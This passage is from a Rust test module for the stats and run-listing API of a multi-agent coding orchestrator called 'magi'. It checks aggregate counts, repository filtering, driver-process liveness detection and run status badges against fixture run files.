14984 || APP_JS.contains("r.submitted < STATS_LOW_N")
14985 );
14986 assert!(INDEX_HTML.contains("id=\"stats-reviewers-scatter\""));
14987 assert!(APP_CSS.contains(".precision-scatter"));
14988 }
14989
14990 #[test]
14991 fn advisor_reflection_is_drawn_as_stacked_segments() {
14992 assert!(APP_JS.contains("statsReflectionRows($(\"stats-advisors-bars\")"));
14993 assert!(APP_JS.contains("const STATS_SEG_MIN = 4;"));
14994 let html = include_str!("../assets/ui/index.html");
14995 assert!(html.contains("Approximate"));
14996 for label in ["reflected strongly", "faint", "no proposal"] {
14997 assert!(html.contains(label));
14998 }
14999 let css = include_str!("../assets/ui/app.css");
15000 for c in ["refl-strong", "refl-faint", "refl-absent"] {
15001 assert!(css.contains(&format!(".{c} {{")));
15002 }
15003 }
15004
15005 #[test]
15006 fn stats_daily_chart_is_planned_purely_and_rendered_from_the_api() {
15007 assert!(APP_JS.contains("function statsDailyPlan("));
15008 assert!(APP_JS.contains("renderStatsDaily(s.daily)"));
15009 assert!(INDEX_HTML.contains("id=\"stats-daily\""));
15010 }
15011
15012 #[test]
15013 fn a_keystroke_invalidates_the_search_reply_still_in_flight() {
15014 let start = APP_JS
15015 .find("function scheduleSearch(")
15016 .expect("scheduleSearch exists");
15017 let body = &APP_JS[start..];
15018 let body = &body[..body.find("\n}\n").expect("function end")];
15019 assert!(body.contains("s.seq += 1"));
15020 }
15021
15022 #[tokio::test]
15027 async fn stats_runs_unreadable_matches_health() {
15028 let f = Fixture::start().await;
15029 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
15030 let broken = f.runs().join("20260902-140502-bad");
15031 std::fs::create_dir_all(&broken).expect("run dir");
15032 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
15033
15034 let stats = f.get("/api/stats").await;
15035 let health = f.get("/api/health").await;
15036
15037 assert_eq!(stats.status, 200);
15038 assert_eq!(stats.json()["totals"]["runs"], 1);
15039 assert_eq!(stats.json()["runs_unreadable"], 1);
15040 assert_eq!(
15041 stats.json()["runs_unreadable"],
15042 health.json()["runs_unreadable"],
15043 "the dashboard and /api/health must never disagree about how many \
15044 runs could not be read"
15045 );
15046 }
15047
15048 #[tokio::test]
15049 async fn stats_verdict_breakdown_covers_stalled_and_in_progress_runs() {
15050 let f = Fixture::start().await;
15051 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
15052 write_run(&f.runs(), "20260902-140502-b", RunStatus::Stalled);
15053 write_run(&f.runs(), "20260902-140503-c", RunStatus::Implementing);
15054
15055 let totals = &f.get("/api/stats").await.json()["totals"];
15056 assert_eq!(totals["runs"], 3);
15057 assert_eq!(totals["merged"], 1);
15058 assert_eq!(totals["stalled"], 1);
15059 assert_eq!(totals["in_progress"], 1);
15060 assert_eq!(totals["blocked"], 0);
15063 assert_eq!(totals["ready"], 0);
15064 }
15065
15066 #[tokio::test]
15067 async fn stats_advisors_report_proposals_and_reflection() {
15068 use crate::advise::{Advice, AdvisorRecord, Reflection};
15069 use crate::verdict::Proposal;
15070
15071 let f = Fixture::start().await;
15072 let mut state = RunState::new(
15073 PathBuf::from("/repo/magi"),
15074 "main".to_owned(),
15075 "0123456789abcdef".to_owned(),
15076 "task".to_owned(),
15077 Config::default(),
15078 );
15079 state.id = "20260902-140501-a".to_owned();
15080 state.status = RunStatus::Merged;
15081 state.advice = Some(Advice {
15082 records: vec![
15083 AdvisorRecord {
15084 seat: "advisor-1".to_owned(),
15085 agent: "alpha".to_owned(),
15086 proposal: Some(Proposal {
15087 approach: "do it".to_owned(),
15088 key_tradeoff: "speed over memory".to_owned(),
15089 risks: Vec::new(),
15090 touches: Vec::new(),
15091 why_not_naive: "breaks under load".to_owned(),
15092 }),
15093 error: None,
15094 duration_ms: 0,
15095 reflection: Reflection::Strong,
15096 },
15097 AdvisorRecord {
15098 seat: "advisor-2".to_owned(),
15099 agent: "alpha".to_owned(),
15100 proposal: None,
15101 error: Some("timed out".to_owned()),
15102 duration_ms: 0,
15103 reflection: Reflection::Absent,
15104 },
15105 ],
15106 synthesis: Some("blended brief".to_owned()),
15107 });
15108 let dir = f.runs().join(&state.id);
15109 std::fs::create_dir_all(&dir).expect("run dir");
15110 std::fs::write(
15111 dir.join("run.json"),
15112 serde_json::to_string_pretty(&state).expect("serialize run"),
15113 )
15114 .expect("write run.json");
15115
15116 let advisors = f.get("/api/stats?all=true").await.json()["advisors"].clone();
15118 let alpha = advisors
15119 .as_array()
15120 .expect("an array")
15121 .iter()
15122 .find(|a| a["agent"] == "alpha")
15123 .expect("alpha row");
15124 assert_eq!(alpha["seated"], 2);
15125 assert_eq!(alpha["proposed"], 1);
15126 assert_eq!(alpha["absent"], 1);
15127 assert_eq!(alpha["strong"], 1);
15128 assert_eq!(alpha["faint"], 0);
15129 assert_eq!(alpha["reflection_rate"]["pct"], 100.0);
15130 }
15131
15132 #[tokio::test]
15133 async fn stats_hides_agents_outside_the_roster_unless_all() {
15134 use crate::run::Candidate;
15135 let repo = TempDir::new().expect("repo dir");
15136 std::fs::write(
15137 repo.path().join("magi.toml"),
15138 "[[agents]]\nid = \"keep\"\nkind = \"claude\"\n",
15139 )
15140 .expect("magi.toml");
15141 let f = Fixture::with_repo(repo.path().to_path_buf()).await;
15142 let mut state = RunState::new(
15143 PathBuf::from("/repo/magi"),
15144 "main".to_owned(),
15145 "0123456789abcdef".to_owned(),
15146 "task".to_owned(),
15147 Config::default(),
15148 );
15149 state.id = "20260902-140501-a".to_owned();
15150 state.status = RunStatus::Merged;
15151 for (label, agent) in [('A', "keep"), ('B', "retired")] {
15152 let mut c: Candidate = serde_json::from_value(serde_json::json!({
15153 "index": 0, "label": label.to_string(), "agent": agent,
15154 "branch": "b", "worktree": "/w",
15155 }))
15156 .expect("candidate");
15157 c.label = label;
15158 state.candidates.push(c);
15159 }
15160 let dir = f.runs().join(&state.id);
15161 std::fs::create_dir_all(&dir).expect("run dir");
15162 std::fs::write(
15163 dir.join("run.json"),
15164 serde_json::to_string_pretty(&state).expect("serialize run"),
15165 )
15166 .expect("write run.json");
15167
15168 let agents_of = |v: &serde_json::Value| -> Vec<String> {
15169 v["agents"]
15170 .as_array()
15171 .expect("array")
15172 .iter()
15173 .map(|a| a["agent"].as_str().unwrap().to_owned())
15174 .collect()
15175 };
15176 let hidden = f.get("/api/stats").await.json();
15177 assert_eq!(agents_of(&hidden), ["keep"]);
15178 assert_eq!(hidden["retired_hidden"], serde_json::json!(["retired"]));
15179 assert_eq!(hidden["totals"]["runs"], 1);
15180
15181 let all = f.get("/api/stats?all=true").await.json();
15182 assert_eq!(agents_of(&all).len(), 2);
15183 assert_eq!(all["retired_hidden"], serde_json::json!([]));
15184 let keep_agent = all["agents"]
15186 .as_array()
15187 .unwrap()
15188 .iter()
15189 .find(|a| a["agent"] == "keep")
15190 .unwrap();
15191 assert_eq!(keep_agent["competitive_entered"], 1);
15192 assert_eq!(keep_agent["competitive_wins"], 0);
15193 assert_eq!(keep_agent["competitive_win_rate"]["pct"], 0.0);
15194 assert_eq!(keep_agent["solo_entered"], 0);
15195 assert_eq!(keep_agent["solo_adopted"], 0);
15196 assert!(keep_agent["solo_adoption_rate"].is_null());
15197 }
15198
15199 #[tokio::test]
15200 async fn stats_release_bumps_split_clean_from_attention() {
15201 use crate::run::ReleaseBump;
15202
15203 let f = Fixture::start().await;
15204
15205 let mut clean = RunState::new(
15206 PathBuf::from("/repo/magi"),
15207 "main".to_owned(),
15208 "0123456789abcdef".to_owned(),
15209 "task".to_owned(),
15210 Config::default(),
15211 );
15212 clean.id = "20260902-140501-a".to_owned();
15213 clean.status = RunStatus::Merged;
15214 clean.release_bump = Some(ReleaseBump {
15215 pr_url: Some("https://github.com/o/r/pull/1".to_owned()),
15216 version: Some("1.0.0".to_owned()),
15217 automerge_enabled: true,
15218 merged_directly: false,
15219 local: false,
15220 release: None,
15221 problem: None,
15222 action_required: None,
15223 });
15224
15225 let mut blocked = RunState::new(
15226 PathBuf::from("/repo/magi"),
15227 "main".to_owned(),
15228 "0123456789abcdef".to_owned(),
15229 "task".to_owned(),
15230 Config::default(),
15231 );
15232 blocked.id = "20260902-140502-b".to_owned();
15233 blocked.status = RunStatus::Merged;
15234 blocked.release_bump = Some(ReleaseBump {
15235 pr_url: Some("https://github.com/o/r/pull/2".to_owned()),
15236 version: Some("1.0.1".to_owned()),
15237 automerge_enabled: false,
15238 merged_directly: false,
15239 local: false,
15240 release: None,
15241 problem: Some("checks red".to_owned()),
15242 action_required: Some("look at the PR".to_owned()),
15243 });
15244
15245 for state in [&clean, &blocked] {
15246 let dir = f.runs().join(&state.id);
15247 std::fs::create_dir_all(&dir).expect("run dir");
15248 std::fs::write(
15249 dir.join("run.json"),
15250 serde_json::to_string_pretty(state).expect("serialize run"),
15251 )
15252 .expect("write run.json");
15253 }
15254
15255 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
15256 assert_eq!(bumps["merged"], 2);
15257 assert_eq!(bumps["recorded"], 2);
15258 assert_eq!(bumps["pr_opened"], 2);
15259 assert_eq!(bumps["automerge_enabled"], 1);
15260 assert_eq!(bumps["needs_attention"], 1);
15261 assert_eq!(bumps["clean"], 1);
15262 assert_eq!(bumps["coverage_rate"]["pct"], 100.0);
15263 assert_eq!(bumps["attention_rate"]["pct"], 50.0);
15264 }
15265
15266 #[tokio::test]
15267 async fn stats_release_bumps_rates_are_null_with_nothing_recorded() {
15268 let f = Fixture::start().await;
15269 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
15270
15271 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
15272 assert_eq!(bumps["merged"], 1);
15273 assert_eq!(bumps["recorded"], 0);
15274 assert_eq!(bumps["coverage_rate"]["pct"], 0.0);
15277 assert_eq!(bumps["automerge_rate"], Value::Null);
15280 assert_eq!(bumps["attention_rate"], Value::Null);
15281 }
15282
15283 #[tokio::test]
15284 async fn stats_queue_counts_come_from_the_live_queue() {
15285 let f = Fixture::start().await;
15286 let q = f.queue();
15287 let mut queued = Task::new(
15288 "queued task".to_owned(),
15289 "do it".to_owned(),
15290 PathBuf::from("/repo"),
15291 Source::Human,
15292 );
15293 q.put(&mut queued).expect("put queued");
15294 let mut held = Task::new(
15295 "held task".to_owned(),
15296 "do it later".to_owned(),
15297 PathBuf::from("/repo"),
15298 Source::Human,
15299 );
15300 held.hold_machine(Some("out of attempts".to_owned()));
15301 q.put(&mut held).expect("put held");
15302
15303 let queue = f.get("/api/stats").await.json()["queue"].clone();
15304 assert_eq!(queue["queued"], 1);
15305 assert_eq!(queue["held"], 1);
15306 assert_eq!(queue["running"], 0);
15307 assert_eq!(queue["done"], 0);
15308 assert_eq!(queue["failed"], 0);
15309 assert_eq!(queue["blocked"], 0);
15310 }
15311
15312 #[tokio::test]
15313 async fn stats_on_an_empty_home_is_all_zero_not_an_error() {
15314 let f = Fixture::start().await;
15315 let stats = f.get("/api/stats").await;
15316 assert_eq!(stats.status, 200);
15317 assert_eq!(stats.json()["totals"]["runs"], 0);
15318 assert_eq!(stats.json()["totals"]["completion_rate"], Value::Null);
15319 assert_eq!(stats.json()["runs_unreadable"], 0);
15320 assert!(stats.json()["agents"].as_array().unwrap().is_empty());
15321 assert!(stats.json()["advisors"].as_array().unwrap().is_empty());
15322 assert!(stats.json()["repos"].as_array().unwrap().is_empty());
15323 assert_eq!(stats.json()["repo"], Value::Null);
15324 }
15325
15326 #[tokio::test]
15327 async fn stats_lists_every_repository_with_runs_recorded() {
15328 let f = Fixture::start().await;
15329 write_run_repo(
15330 &f.runs(),
15331 "20260902-140501-a",
15332 RunStatus::Merged,
15333 "/repos/a",
15334 );
15335 write_run_repo(
15336 &f.runs(),
15337 "20260902-140502-b",
15338 RunStatus::Merged,
15339 "/repos/a",
15340 );
15341 write_run_repo(
15342 &f.runs(),
15343 "20260902-140503-c",
15344 RunStatus::Blocked,
15345 "/repos/b",
15346 );
15347
15348 let stats = f.get("/api/stats").await;
15349 assert_eq!(stats.status, 200);
15350 assert_eq!(stats.json()["totals"]["runs"], 3);
15352 assert_eq!(stats.json()["repo"], Value::Null);
15353
15354 let repos = stats.json()["repos"].clone();
15355 let repos = repos.as_array().unwrap();
15356 assert_eq!(repos.len(), 2);
15357 assert_eq!(repos[0]["repo"], "/repos/a");
15359 assert_eq!(repos[0]["name"], "a");
15360 assert_eq!(repos[0]["runs"], 2);
15361 assert_eq!(repos[1]["repo"], "/repos/b");
15362 assert_eq!(repos[1]["runs"], 1);
15363 }
15364
15365 #[tokio::test]
15366 async fn stats_repo_query_narrows_the_aggregate_to_one_repository() {
15367 let f = Fixture::start().await;
15368 write_run_repo(
15369 &f.runs(),
15370 "20260902-140501-a",
15371 RunStatus::Merged,
15372 "/repos/a",
15373 );
15374 write_run_repo(
15375 &f.runs(),
15376 "20260902-140502-b",
15377 RunStatus::Blocked,
15378 "/repos/b",
15379 );
15380
15381 let stats = f.get("/api/stats?repo=%2Frepos%2Fa").await;
15382 assert_eq!(stats.status, 200);
15383 assert_eq!(stats.json()["totals"]["runs"], 1);
15384 assert_eq!(stats.json()["totals"]["merged"], 1);
15385 assert_eq!(stats.json()["repo"], "/repos/a");
15386 assert_eq!(stats.json()["repos"].as_array().unwrap().len(), 2);
15389 assert_eq!(stats.json()["runs_unreadable"], 0);
15392 }
15393
15394 #[tokio::test]
15395 async fn stats_daily_is_thirty_ascending_days_scoped_by_repo() {
15396 let f = Fixture::start().await;
15397 write_run_repo(
15398 &f.runs(),
15399 "20260902-140501-a",
15400 RunStatus::Merged,
15401 "/repos/a",
15402 );
15403 write_run_repo(
15404 &f.runs(),
15405 "20260902-140502-b",
15406 RunStatus::Merged,
15407 "/repos/b",
15408 );
15409
15410 for uri in ["/api/stats", "/api/stats?repo=%2Frepos%2Fa"] {
15411 let json = f.get(uri).await.json();
15412 let daily = json["daily"].as_array().expect("daily is an array");
15413 assert_eq!(daily.len(), 30);
15414 let dates: Vec<&str> = daily.iter().map(|d| d["date"].as_str().unwrap()).collect();
15415 let mut sorted = dates.clone();
15416 sorted.sort();
15417 assert_eq!(dates, sorted);
15418 for d in daily {
15419 assert_eq!(
15420 d["merged"].as_u64().unwrap()
15421 + d["ready"].as_u64().unwrap()
15422 + d["other"].as_u64().unwrap(),
15423 d["runs"].as_u64().unwrap()
15424 );
15425 }
15426 assert!(json["totals"]["runs"].as_u64().unwrap() >= 1);
15427 }
15428 }
15429
15430 #[tokio::test]
15431 async fn stats_repo_query_for_an_unknown_repo_is_a_404() {
15432 let f = Fixture::start().await;
15433 write_run_repo(
15434 &f.runs(),
15435 "20260902-140501-a",
15436 RunStatus::Merged,
15437 "/repos/a",
15438 );
15439
15440 let stats = f.get("/api/stats?repo=%2Frepos%2Fnope").await;
15441 assert_eq!(stats.status, 404);
15442 }
15443
15444 #[tokio::test]
15445 async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
15446 let f = Fixture::start().await;
15447 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
15448
15449 let summary = f.get("/api/runs").await.json();
15450 let row = &summary[0];
15451 assert_eq!(row["short"], "a1b2");
15452 assert_eq!(row["status"], "ready");
15453 assert_eq!(row["done"], true);
15454 assert_eq!(row["title"], "Add a web UI");
15455 assert_eq!(row["repo_name"], "magi");
15456 assert_eq!(row["judges"], 3);
15457 assert_eq!(row["winner"], Value::Null);
15458 assert_eq!(row["reviews"], 0);
15459
15460 let detail = f.get("/api/runs/a1b2").await;
15463 assert_eq!(detail.status, 200);
15464 assert_eq!(detail.json()["base_branch"], "main");
15465 assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
15466 }
15467
15468 #[tokio::test]
15476 async fn a_mode_none_ready_run_is_flagged_unmerged_by_design_everywhere() {
15477 let f = Fixture::start().await;
15478
15479 let mut none_run = RunState::new(
15480 PathBuf::from("/repo/magi"),
15481 "main".to_owned(),
15482 "0123456789abcdef".to_owned(),
15483 "Add a web UI".to_owned(),
15484 Config::default(),
15485 );
15486 none_run.id = "20260902-140503-none".to_owned();
15487 none_run.status = RunStatus::Ready;
15488 none_run.merge = Some(crate::run::MergeOutcome {
15489 mode: crate::config::MergeMode::None,
15490 ok: true,
15491 detail: "git -C /repo merge --no-ff magi/x/A".to_owned(),
15492 empty: false,
15493 });
15494 write_state(&f.runs(), &none_run);
15495
15496 let mut pr_run = RunState::new(
15497 PathBuf::from("/repo/magi"),
15498 "main".to_owned(),
15499 "0123456789abcdef".to_owned(),
15500 "Add a web UI".to_owned(),
15501 Config::default(),
15502 );
15503 pr_run.id = "20260902-140504-prcl".to_owned();
15504 pr_run.status = RunStatus::Ready;
15505 pr_run.merge = Some(crate::run::MergeOutcome {
15506 mode: crate::config::MergeMode::Pr,
15507 ok: false,
15508 detail: "https://example.com/pr/1 was closed without merging".to_owned(),
15509 empty: false,
15510 });
15511 write_state(&f.runs(), &pr_run);
15512
15513 let summary = f.get("/api/runs").await.json();
15514 let rows: std::collections::HashMap<&str, &Value> = summary
15515 .as_array()
15516 .expect("an array")
15517 .iter()
15518 .map(|r| (r["id"].as_str().expect("an id"), r))
15519 .collect();
15520 assert_eq!(rows[none_run.id.as_str()]["status"], "ready");
15521 assert_eq!(
15522 rows[none_run.id.as_str()]["unmerged_by_design"],
15523 true,
15524 "a mode-none Ready must be flagged in the list"
15525 );
15526 assert_eq!(
15527 rows[pr_run.id.as_str()]["unmerged_by_design"],
15528 false,
15529 "a Ready reached by a closed pull request is a different case"
15530 );
15531
15532 let none_detail = f.get(&format!("/api/runs/{}", none_run.id)).await.json();
15533 assert_eq!(none_detail["status"], "ready");
15534 assert_eq!(none_detail["unmerged_by_design"], true);
15535
15536 let pr_detail = f.get(&format!("/api/runs/{}", pr_run.id)).await.json();
15537 assert_eq!(pr_detail["unmerged_by_design"], false);
15538 }
15539
15540 #[tokio::test]
15545 async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
15546 let f = Fixture::start().await;
15547 let id = "20260902-140502-bbbb";
15551 let mut state = RunState::new(
15552 PathBuf::from("/repo/magi"),
15553 "main".to_owned(),
15554 "0123456789abcdef".to_owned(),
15555 "Add a web UI".to_owned(),
15556 Config::default(),
15557 );
15558 state.id = id.to_owned();
15559 state.status = RunStatus::Judging;
15560 state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
15561 let dir = f.runs().join(id);
15562 std::fs::create_dir_all(&dir).expect("run dir");
15563 std::fs::write(
15564 dir.join("run.json"),
15565 serde_json::to_string_pretty(&state).expect("serialize run"),
15566 )
15567 .expect("write run.json");
15568
15569 let cold = f.get(&format!("/api/runs/{id}")).await.json();
15575 assert_eq!(cold["active"]["judge-2"]["node"], "judge");
15576 assert_eq!(cold["live"], "unknown", "{cold}");
15577
15578 write_daemon(f.home.path(), Timestamp::now());
15581 let warm = f.get(&format!("/api/runs/{id}")).await.json();
15582 assert_eq!(warm["live"], "live", "{warm}");
15583 }
15584
15585 #[tokio::test]
15588 async fn run_detail_shows_the_origin_and_reads_a_pre_origin_run_as_unknown() {
15589 let f = Fixture::start().await;
15590 let write = |id: &str, origin: Option<crate::run::Origin>, schema: Option<u32>| {
15591 let mut state = RunState::new(
15592 PathBuf::from("/repo/magi"),
15593 "main".to_owned(),
15594 "0123456789abcdef".to_owned(),
15595 "Add a web UI".to_owned(),
15596 Config::default(),
15597 );
15598 state.id = id.to_owned();
15599 state.origin = origin;
15600 let mut value = serde_json::to_value(&state).expect("serialize run");
15601 if let Some(schema) = schema {
15602 value["schema"] = serde_json::json!(schema);
15603 value.as_object_mut().unwrap().remove("origin");
15604 }
15605 let dir = f.runs().join(id);
15606 std::fs::create_dir_all(&dir).expect("run dir");
15607 std::fs::write(dir.join("run.json"), value.to_string()).expect("write run.json");
15608 };
15609 write(
15610 "20260930-092817-ec34",
15611 Some(crate::run::Origin::from_agent_env(
15612 Some(("4a7b".to_owned(), "chat".to_owned())),
15613 None,
15614 )),
15615 None,
15616 );
15617 write("20260930-092817-0ld1", None, Some(12));
15618
15619 let new = f.get("/api/runs/20260930-092817-ec34").await.json();
15620 assert_eq!(new["origin_label"], "chat 4a7b", "{new}");
15621 assert_eq!(new["origin"]["by"]["kind"], "chat", "{new}");
15622
15623 let old = f.get("/api/runs/20260930-092817-0ld1").await.json();
15624 assert_eq!(
15625 old["origin_label"], "origin unknown (started before origins were recorded)",
15626 "{old}"
15627 );
15628 assert!(old["origin"].is_null(), "{old}");
15629
15630 let list = f.get("/api/runs").await.json();
15631 let labels: Vec<_> = list
15632 .as_array()
15633 .unwrap()
15634 .iter()
15635 .map(|r| r["origin_label"].as_str().unwrap().to_owned())
15636 .collect();
15637 assert!(labels.contains(&"chat 4a7b".to_owned()), "{list}");
15638 }
15639
15640 #[tokio::test]
15647 async fn run_detail_reads_a_manual_run_with_a_live_driver_pid_as_live_without_a_daemon() {
15648 let f = Fixture::start().await;
15649 let id = "20260922-090000-cccc";
15650 let mut state = RunState::new(
15651 PathBuf::from("/repo/magi"),
15652 "main".to_owned(),
15653 "0123456789abcdef".to_owned(),
15654 "Review only".to_owned(),
15655 Config::default(),
15656 );
15657 state.id = id.to_owned();
15658 state.status = RunStatus::Reviewing;
15659 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
15660 state.driver_pid = Some(std::process::id());
15666 state.driver_started_at = Some(
15667 crate::proc::process_started_at(std::process::id())
15668 .expect("this test process's own start time must be queryable"),
15669 );
15670 let dir = f.runs().join(id);
15671 std::fs::create_dir_all(&dir).expect("run dir");
15672 std::fs::write(
15673 dir.join("run.json"),
15674 serde_json::to_string_pretty(&state).expect("serialize run"),
15675 )
15676 .expect("write run.json");
15677
15678 let detail = f.get(&format!("/api/runs/{id}")).await.json();
15679 assert_eq!(detail["live"], "live", "{detail}");
15680 }
15681
15682 #[tokio::test]
15688 async fn run_detail_reads_a_live_pid_as_dead_once_its_start_time_no_longer_matches() {
15689 let f = Fixture::start().await;
15690 let id = "20260922-090100-dddd";
15691 let mut state = RunState::new(
15692 PathBuf::from("/repo/magi"),
15693 "main".to_owned(),
15694 "0123456789abcdef".to_owned(),
15695 "Review only".to_owned(),
15696 Config::default(),
15697 );
15698 state.id = id.to_owned();
15699 state.status = RunStatus::Reviewing;
15700 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
15701 state.driver_pid = Some(std::process::id());
15706 state.driver_started_at = Some("1".to_owned());
15707 let dir = f.runs().join(id);
15708 std::fs::create_dir_all(&dir).expect("run dir");
15709 std::fs::write(
15710 dir.join("run.json"),
15711 serde_json::to_string_pretty(&state).expect("serialize run"),
15712 )
15713 .expect("write run.json");
15714
15715 let detail = f.get(&format!("/api/runs/{id}")).await.json();
15716 assert_eq!(detail["live"], "dead", "{detail}");
15717 }
15718
15719 #[test]
15723 fn summarize_asks_about_each_pid_once_and_keeps_the_row_meaning() {
15724 let mk = |id: &str, pid: Option<u32>| {
15725 let mut s = RunState::new(
15726 PathBuf::from("/repo/magi"),
15727 "main".to_owned(),
15728 "0123456789abcdef".to_owned(),
15729 "Add a web UI".to_owned(),
15730 Config::default(),
15731 );
15732 s.id = id.to_owned();
15733 s.driver_pid = pid;
15734 s.driver_started_at = Some("1790000000".to_owned());
15735 s
15736 };
15737 let states = vec![
15738 mk("20260902-140502-aaaa", Some(77)),
15739 mk("20260902-140502-bbbb", Some(77)),
15740 mk("20260902-140502-cccc", Some(77)),
15741 mk("20260902-140502-dddd", None),
15742 ];
15743 let open: HashSet<String> = ["20260902-140502-bbbb".to_owned()].into();
15744 let claimed: HashSet<String> = ["20260902-140502-dddd".to_owned()].into();
15745 let sup: HashMap<String, String> = [(
15746 "20260902-140502-aaaa".to_owned(),
15747 "20260902-140502-cccc".to_owned(),
15748 )]
15749 .into();
15750
15751 let status_calls = std::cell::Cell::new(0);
15752 let identity_calls = std::cell::Cell::new(0);
15753 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::new(
15754 |_| {
15755 status_calls.set(status_calls.get() + 1);
15756 Some(true)
15757 },
15758 |_| {
15759 identity_calls.set(identity_calls.get() + 1);
15760 Some("1790000000".to_owned())
15761 },
15762 ));
15763 let rows = summarize(
15764 states,
15765 &open,
15766 &claimed,
15767 &sup,
15768 |p| probe.borrow_mut().status(p),
15769 |p| probe.borrow_mut().started_at(p),
15770 );
15771
15772 assert_eq!(status_calls.get(), 1, "one pid, one status query");
15773 assert_eq!(identity_calls.get(), 1, "one pid, one identity query");
15774 assert_eq!(rows.len(), 4);
15775 assert!(!rows[0].waiting && rows[1].waiting);
15776 assert_eq!(rows[0].live, crate::run::Liveness::Live);
15777 assert_eq!(rows[3].live, crate::run::Liveness::Live, "claim alone");
15778 assert_eq!(rows[0].superseded_by.as_deref(), Some("cccc"));
15779 assert_eq!(rows[1].superseded_by, None);
15780 }
15781
15782 #[test]
15783 fn run_list_exposes_a_confirmed_dead_driver_for_stale_presentation() {
15784 let mut state = RunState::new(
15785 PathBuf::from("/repo/magi"),
15786 "main".to_owned(),
15787 "0123456789abcdef".to_owned(),
15788 "Review only".to_owned(),
15789 Config::default(),
15790 );
15791 state.id = "20260922-090200-dead".to_owned();
15792 state.status = RunStatus::Reviewing;
15793 let row = serde_json::to_value(RunSummary::of(&state, false, crate::run::Liveness::Dead))
15794 .expect("serialize list row");
15795 assert_eq!(row["status"], "reviewing");
15796 assert_eq!(row["display_status"], "stale");
15797 assert_eq!(row["live"], "dead", "{row}");
15798 assert!(!row["done"].as_bool().unwrap());
15799 }
15800
15801 #[test]
15802 fn run_display_status_distinguishes_park_crash_and_owner_wait() {
15803 use crate::run::Liveness::{Dead, Live, Unknown};
15804 let mut state = RunState::new(
15805 PathBuf::from("/repo/magi"),
15806 "main".to_owned(),
15807 "abc".to_owned(),
15808 "Review only".to_owned(),
15809 Config::default(),
15810 );
15811 for (status, parked, node, waiting, live, expected) in [
15812 (
15813 RunStatus::Judging,
15814 true,
15815 "github-text",
15816 false,
15817 Dead,
15818 "parked",
15819 ),
15820 (RunStatus::Judging, false, "park", false, Dead, "stale"),
15821 (RunStatus::Judging, false, "judge", false, Dead, "stale"),
15822 (
15823 RunStatus::Judging,
15824 true,
15825 "github-text",
15826 true,
15827 Dead,
15828 "waiting",
15829 ),
15830 (
15831 RunStatus::Judging,
15832 false,
15833 "github-text",
15834 true,
15835 Dead,
15836 "waiting",
15837 ),
15838 (
15839 RunStatus::Judging,
15840 false,
15841 "github-text",
15842 false,
15843 Dead,
15844 "stale",
15845 ),
15846 (RunStatus::Judging, false, "resume", false, Dead, "stale"),
15847 (RunStatus::Judging, true, "park", false, Live, "judging"),
15848 (RunStatus::Judging, true, "park", false, Unknown, "judging"),
15849 (RunStatus::Merged, true, "park", false, Dead, "merged"),
15850 (RunStatus::Blocked, true, "park", false, Dead, "blocked"),
15851 (
15852 RunStatus::Blocked,
15853 true,
15854 "github-text",
15855 true,
15856 Dead,
15857 "waiting",
15858 ),
15859 ] {
15860 state.status = status;
15861 state.parked = parked;
15862 state.events.clear();
15863 state.event(
15864 "park",
15865 "an earlier park does not determine the latest state",
15866 );
15867 state.event(node, "message is not used for classification");
15868 let summary = RunSummary::of(&state, waiting, live);
15869 let detail = RunDetailView::of(state.clone(), waiting, live, None, None, None);
15870 assert_eq!(
15871 summary.display_status, expected,
15872 "{status:?}/{node}/{live:?}"
15873 );
15874 assert_eq!(detail.display_status, summary.display_status);
15875 assert_eq!(detail.waiting, summary.waiting);
15876 }
15877 state.status = RunStatus::Judging;
15878 state.parked = false;
15879 state.events.clear();
15880 assert_eq!(run_display_status(&state, false, Dead), "stale");
15881 }
15882
15883 #[test]
15884 fn badge_status_prefers_superseded_then_stale_and_spares_live_and_terminal() {
15885 use crate::run::Liveness::{Dead, Live, Unknown};
15886 let mut state = RunState::new(
15887 PathBuf::from("/repo/magi"),
15888 "main".to_owned(),
15889 "abc".to_owned(),
15890 "Badge".to_owned(),
15891 Config::default(),
15892 );
15893 for (status, waiting, live, superseded, expected) in [
15894 (RunStatus::Gating, false, Dead, false, "stale"),
15895 (RunStatus::Gating, false, Dead, true, "superseded"),
15896 (RunStatus::Gating, false, Unknown, true, "superseded"),
15897 (RunStatus::Gating, true, Dead, true, "superseded"),
15898 (RunStatus::Gating, true, Dead, false, "waiting"),
15899 (RunStatus::Gating, false, Unknown, false, "gating"),
15900 (RunStatus::Gating, false, Live, true, "gating"),
15901 (RunStatus::Gating, true, Live, true, "waiting"),
15902 (RunStatus::Merged, false, Dead, true, "merged"),
15903 (RunStatus::Blocked, false, Dead, true, "blocked"),
15904 ] {
15905 state.status = status;
15906 let display = run_display_status(&state, waiting, live);
15907 assert_eq!(
15908 run_badge_status(&state, &display, live, superseded),
15909 expected,
15910 "{status:?}/{live:?}/superseded={superseded}"
15911 );
15912 }
15913 }
15914
15915 #[test]
15916 fn summarize_and_detail_expose_badge_status() {
15917 use crate::run::Liveness::Dead;
15918 let mut state = RunState::new(
15919 PathBuf::from("/repo/magi"),
15920 "main".to_owned(),
15921 "abc".to_owned(),
15922 "Badge".to_owned(),
15923 Config::default(),
15924 );
15925 state.status = RunStatus::Gating;
15926 let none = HashSet::new();
15927 let id = state.id.clone();
15928 let mut by = HashMap::new();
15929 let rows = summarize(
15930 [state.clone()],
15931 &none,
15932 &none,
15933 &by,
15934 |_| Some(false),
15935 |_| None,
15936 );
15937 assert_eq!(rows[0].badge_status, rows[0].display_status);
15939 by.insert(id, "20260901-000000-913b".to_owned());
15940 let detail = RunDetailView::of(
15941 state.clone(),
15942 false,
15943 Dead,
15944 Some("913b".to_owned()),
15945 None,
15946 None,
15947 );
15948 assert_eq!(detail.badge_status, "superseded");
15949 let json = serde_json::to_value(&detail).unwrap();
